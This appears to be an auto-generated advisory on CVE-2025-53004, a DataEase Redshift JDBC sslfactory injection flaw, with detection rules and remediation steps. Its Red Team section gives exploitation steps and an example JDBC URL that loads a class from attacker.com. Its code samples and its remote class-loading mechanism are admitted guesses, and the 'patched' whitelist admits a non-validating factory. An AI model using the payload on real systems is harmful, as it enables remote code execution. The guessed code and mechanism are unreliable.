CVE-2025-53004

Executive Summary

CVE-2025-53004 identifies a bypass vulnerability in DataEase, an open-source business intelligence and data visualization tool. The flaw resides in the Redshift Data Source JDBC Connection Parameters, specifically within the sslfactory and sslfactoryarg parameters. An attacker could exploit this to bypass security controls, potentially leading to unauthorized data access or system compromise. The vulnerability is patched in version 2.10.11. No public proof-of-concept (PoC) or exploit code is currently available, and the CVSS score is listed as 0.0, indicating incomplete scoring data.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or an error in the NVD data. Based on the nature of the vulnerability (a bypass in JDBC connection parameters), a reasonable estimated CVSS vector would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs some level of access to configure a data source.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Potential for unauthorized data access.
• Integrity (I): High (H) – Potential for data manipulation.
• Availability (A): Low (L) – Limited impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Threat Level: High. The vulnerability allows bypassing security controls in JDBC connections, which could lead to data exfiltration or system compromise.

Deep Dive & Mechanics

DataEase uses JDBC (Java Database Connectivity) to connect to various data sources, including Amazon Redshift. The JDBC connection string includes parameters that control SSL/TLS settings, such as sslfactory and sslfactoryarg. These parameters are intended to specify custom SSL socket factories for secure connections.

The vulnerability arises because the application does not properly validate or sanitize these parameters. An attacker with the ability to configure a Redshift data source (e.g., a user with data source creation privileges) can inject malicious values into sslfactory and sslfactoryarg. This can lead to:

• SSL Bypass: Disabling SSL verification, allowing man-in-the-middle attacks.
• Class Loading Exploitation: Specifying a malicious sslfactory class that loads arbitrary code, leading to remote code execution (RCE).
• Parameter Injection: Injecting additional JDBC parameters to alter connection behavior.

The core issue is insufficient input validation and lack of a whitelist for allowed SSL factory classes.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.10.11): The vulnerable code likely directly passes the sslfactory and sslfactoryarg parameters to the JDBC driver without validation.

// Vulnerable: Directly using user-supplied values
String jdbcUrl = "jdbc:redshift://host:port/db?sslfactory=" + userInputSslFactory + "&sslfactoryarg=" + userInputSslFactoryArg;
Connection conn = DriverManager.getConnection(jdbcUrl, user, pass);

Patched Code (2.10.11+): The patched code likely validates the sslfactory parameter against a whitelist of allowed classes and sanitizes the sslfactoryarg parameter.

// Patched: Validate sslfactory against a whitelist
List<String> allowedFactories = Arrays.asList("com.amazon.redshift.ssl.NonValidatingFactory", "com.amazon.redshift.ssl.SystemPropertyFactory");
if (!allowedFactories.contains(userInputSslFactory)) {
    throw new IllegalArgumentException("Invalid sslfactory: " + userInputSslFactory);
}
// Sanitize sslfactoryarg to prevent injection
String sanitizedArg = sanitizeInput(userInputSslFactoryArg);
String jdbcUrl = "jdbc:redshift://host:port/db?sslfactory=" + userInputSslFactory + "&sslfactoryarg=" + sanitizedArg;
Connection conn = DriverManager.getConnection(jdbcUrl, user, pass);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a DataEase instance with permissions to create or modify Redshift data sources.
• A malicious JDBC driver or SSL factory class hosted on an attacker-controlled server.

Exploitation Steps:

1. Set Up Malicious SSL Factory: Create a custom Java class that implements the javax.net.ssl.SSLSocketFactory interface. This class can disable SSL verification or execute arbitrary code.
2. Host the Class: Place the compiled .class file on an HTTP server accessible from the DataEase server.
3. Configure Data Source: In DataEase, create a new Redshift data source. In the JDBC connection parameters, set:
   • sslfactory to the URL of the malicious class (e.g., http://attacker.com/evil.SSLSocketFactory).
   • sslfactoryarg to any additional arguments.
4. Trigger Connection: Save and test the connection. The malicious class will be loaded, potentially leading to RCE or SSL bypass.

Example JDBC URL:

jdbc:redshift://victim-redshift-cluster.amazonaws.com:5439/dev?sslfactory=http://attacker.com/evil.SSLSocketFactory&sslfactoryarg=test

Blue Team

Detection:

• Monitor for unusual JDBC connection strings containing sslfactory or sslfactoryarg parameters.
• Alert on any attempts to load classes from external URLs.
• Review DataEase logs for errors related to SSL factory loading.

Mitigation:

• Immediately upgrade to DataEase version 2.10.11 or later.
• Restrict permissions for creating or modifying data sources to trusted administrators only.
• Implement network segmentation to limit outbound connections from the DataEase server.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP/HTTPS connections from the DataEase server to unknown IPs or domains, especially those hosting .class files.
• Logs: DataEase logs containing entries like sslfactory or sslfactoryarg with suspicious values.
• File System: Unexpected .class files in temporary directories or the DataEase classpath.
• Process: Java processes loading classes from remote URLs.

Detection Engineering

YARA Rule

rule CVE_2025_53004_JDBC_Bypass {
    meta:
        description = "Detects suspicious JDBC connection strings with sslfactory parameters"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53004"
    strings:
        $jdbc = "jdbc:redshift://" nocase
        $sslfactory = "sslfactory=" nocase
        $sslfactoryarg = "sslfactoryarg=" nocase
        $http = "http://" nocase
        $https = "https://" nocase
    condition:
        $jdbc and ($sslfactory or $sslfactoryarg) and ($http or $https)
}

Sigma Rule

title: CVE-2025-53004 DataEase JDBC SSL Factory Bypass
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-53004 by using malicious sslfactory parameters in JDBC connections.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53004
logsource:
    category: application
    product: DataEase
detection:
    selection:
        EventID: 1001  # Example: DataEase connection event
        DataSource: "Redshift"
        ConnectionString|contains:
            - "sslfactory="
            - "sslfactoryarg="
    condition: selection
falsepositives:
    - Legitimate use of custom SSL factories in controlled environments
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-53004 DataEase JDBC SSL Factory Bypass"; flow:to_server,established; content:"jdbc:redshift://"; nocase; content:"sslfactory="; nocase; distance:0; within:200; content:"http://"; nocase; distance:0; within:200; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade DataEase: Update to version 2.10.11 or later, which contains the fix for this vulnerability.
2. Restrict Permissions: Limit the ability to create or modify data sources to only trusted administrators.
3. Review Configurations: Audit existing Redshift data sources for any suspicious sslfactory or sslfactoryarg parameters.

Long-Term Measures:

• Implement input validation for all JDBC connection parameters.
• Use a whitelist of allowed SSL factory classes.
• Regularly update DataEase and its dependencies.
• Monitor for unusual network connections from the DataEase server.

Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence expert. For further analysis or remediation support, contact Valters IT.